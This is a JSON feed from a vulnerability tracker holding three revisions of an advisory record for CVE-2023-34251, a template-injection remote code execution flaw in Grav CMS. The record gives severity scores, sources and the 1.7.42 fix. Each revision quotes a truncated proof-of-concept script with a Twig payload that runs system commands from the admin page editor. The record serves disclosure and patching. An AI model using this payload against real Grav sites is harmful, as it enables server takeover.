{"items":[{"id":"NVI-00006785","kind":"vulnerability","title":"Grav Server Side Template Injection (SSTI) vulnerability","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-f9jf-4cp4-4fq5","CVE-2023-34251"],"plain_summary":"OSV carries this publisher advisory for getgrav/grav. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.7.42 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-c28a65881a47d906dbde84f6140bced6"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-5ccf8b8b3e9fa20a61e45aa8820a7770"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-17T06:03:13.443Z","value":"9.9 CRITICAL (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-777d9eb0d4ad29d3065333a3298f4d4b"},{"kind":"CVSS","as_of":"2026-06-17T06:03:13.443Z","value":"7.2 HIGH (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-777d9eb0d4ad29d3065333a3298f4d4b"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"2.338%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.83606. Missing scores are unknown.","source_id":"sr-5ccf8b8b3e9fa20a61e45aa8820a7770"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-c28a65881a47d906dbde84f6140bced6","url":"https://github.com/advisories/GHSA-f9jf-4cp4-4fq5","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-f9jf-4cp4-4fq5","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.712Z"},{"id":"sr-777d9eb0d4ad29d3065333a3298f4d4b","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-34251","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2023-34251","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T00:58:36.867Z"},{"id":"sr-5ccf8b8b3e9fa20a61e45aa8820a7770","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2023-34251","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:03.704Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-c28a65881a47d906dbde84f6140bced6"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nI found an RCE(Remote Code Execution) by SSTI in the admin screen.\n\n### Details\nRemote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.\n\n### PoC\n1. Log in to the administrator screen and access the edit screen of the default page \"Typography\". (`http://127.0.0.1:8000/admin/pages/typography`)\n2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed.\n```js\n(async () => {\n  const nonce = document.querySelector(\"input[name=admin-nonce]\").value;\n  const id = document.querySelector(\"input[name=__unique_form_id__]\").value;\n\n  const payload = \"{{['id']|map('system')|join}}\"; // SSTI Payload\n\n  const params = new URLSearchParams();\n  params.append(\"task\", \"save\");\n  params.append(\"data[header][title]\", \"poc\");\n  params.append(\"data[content]\", payload);\n  params.append(\"data[folder]\", \"poc\");\n  params.append(\"data[route]\", \"\");\n  params.append(\"data[name]\", \"default\");\n  params.append(\"data[header][body_classes]\", \"\");\n  params.append(\"data[ordering]\", 1);\n  params.append(\"data[order]\", \"\");\n  params.append(\"toggleable_d","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.7.42"]}],"null_published_at":"2026-11-03T17:49:18.515Z","source_updated_at":"2024-02-16T08:24:41.687Z","source_disclosed_at":"2023-06-16T19:35:56.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:10.712Z"},{"id":"NVI-00006785","kind":"vulnerability","title":"Grav Server Side Template Injection (SSTI) vulnerability","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-f9jf-4cp4-4fq5","CVE-2023-34251"],"plain_summary":"OSV carries this publisher advisory for getgrav/grav. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.7.42 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-c28a65881a47d906dbde84f6140bced6"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-5ccf8b8b3e9fa20a61e45aa8820a7770"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"2.338%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.83606. Missing scores are unknown.","source_id":"sr-5ccf8b8b3e9fa20a61e45aa8820a7770"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-c28a65881a47d906dbde84f6140bced6","url":"https://github.com/advisories/GHSA-f9jf-4cp4-4fq5","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-f9jf-4cp4-4fq5","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.712Z"},{"id":"sr-5ccf8b8b3e9fa20a61e45aa8820a7770","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2023-34251","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:03.704Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-c28a65881a47d906dbde84f6140bced6"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nI found an RCE(Remote Code Execution) by SSTI in the admin screen.\n\n### Details\nRemote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.\n\n### PoC\n1. Log in to the administrator screen and access the edit screen of the default page \"Typography\". (`http://127.0.0.1:8000/admin/pages/typography`)\n2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed.\n```js\n(async () => {\n  const nonce = document.querySelector(\"input[name=admin-nonce]\").value;\n  const id = document.querySelector(\"input[name=__unique_form_id__]\").value;\n\n  const payload = \"{{['id']|map('system')|join}}\"; // SSTI Payload\n\n  const params = new URLSearchParams();\n  params.append(\"task\", \"save\");\n  params.append(\"data[header][title]\", \"poc\");\n  params.append(\"data[content]\", payload);\n  params.append(\"data[folder]\", \"poc\");\n  params.append(\"data[route]\", \"\");\n  params.append(\"data[name]\", \"default\");\n  params.append(\"data[header][body_classes]\", \"\");\n  params.append(\"data[ordering]\", 1);\n  params.append(\"data[order]\", \"\");\n  params.append(\"toggleable_d","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.7.42"]}],"null_published_at":"2026-11-01T01:45:38.526Z","source_updated_at":"2024-02-16T08:24:41.687Z","source_disclosed_at":"2023-06-16T19:35:56.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:10.712Z"},{"id":"NVI-00006785","kind":"vulnerability","title":"Grav Server Side Template Injection (SSTI) vulnerability","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-f9jf-4cp4-4fq5","CVE-2023-34251"],"plain_summary":"OSV carries this publisher advisory for getgrav/grav. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.7.42 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-c28a65881a47d906dbde84f6140bced6"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-c28a65881a47d906dbde84f6140bced6","url":"https://github.com/advisories/GHSA-f9jf-4cp4-4fq5","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-f9jf-4cp4-4fq5","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.712Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-c28a65881a47d906dbde84f6140bced6"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nI found an RCE(Remote Code Execution) by SSTI in the admin screen.\n\n### Details\nRemote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.\n\n### PoC\n1. Log in to the administrator screen and access the edit screen of the default page \"Typography\". (`http://127.0.0.1:8000/admin/pages/typography`)\n2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed.\n```js\n(async () => {\n  const nonce = document.querySelector(\"input[name=admin-nonce]\").value;\n  const id = document.querySelector(\"input[name=__unique_form_id__]\").value;\n\n  const payload = \"{{['id']|map('system')|join}}\"; // SSTI Payload\n\n  const params = new URLSearchParams();\n  params.append(\"task\", \"save\");\n  params.append(\"data[header][title]\", \"poc\");\n  params.append(\"data[content]\", payload);\n  params.append(\"data[folder]\", \"poc\");\n  params.append(\"data[route]\", \"\");\n  params.append(\"data[name]\", \"default\");\n  params.append(\"data[header][body_classes]\", \"\");\n  params.append(\"data[ordering]\", 1);\n  params.append(\"data[order]\", \"\");\n  params.append(\"toggleable_d","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.7.42"]}],"null_published_at":"2026-10-31T22:13:10.073Z","source_updated_at":"2024-02-16T08:24:41.687Z","source_disclosed_at":"2023-06-16T19:35:56.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:10.712Z"}],"next_cursor":null,"snapshot_revision":"42594"}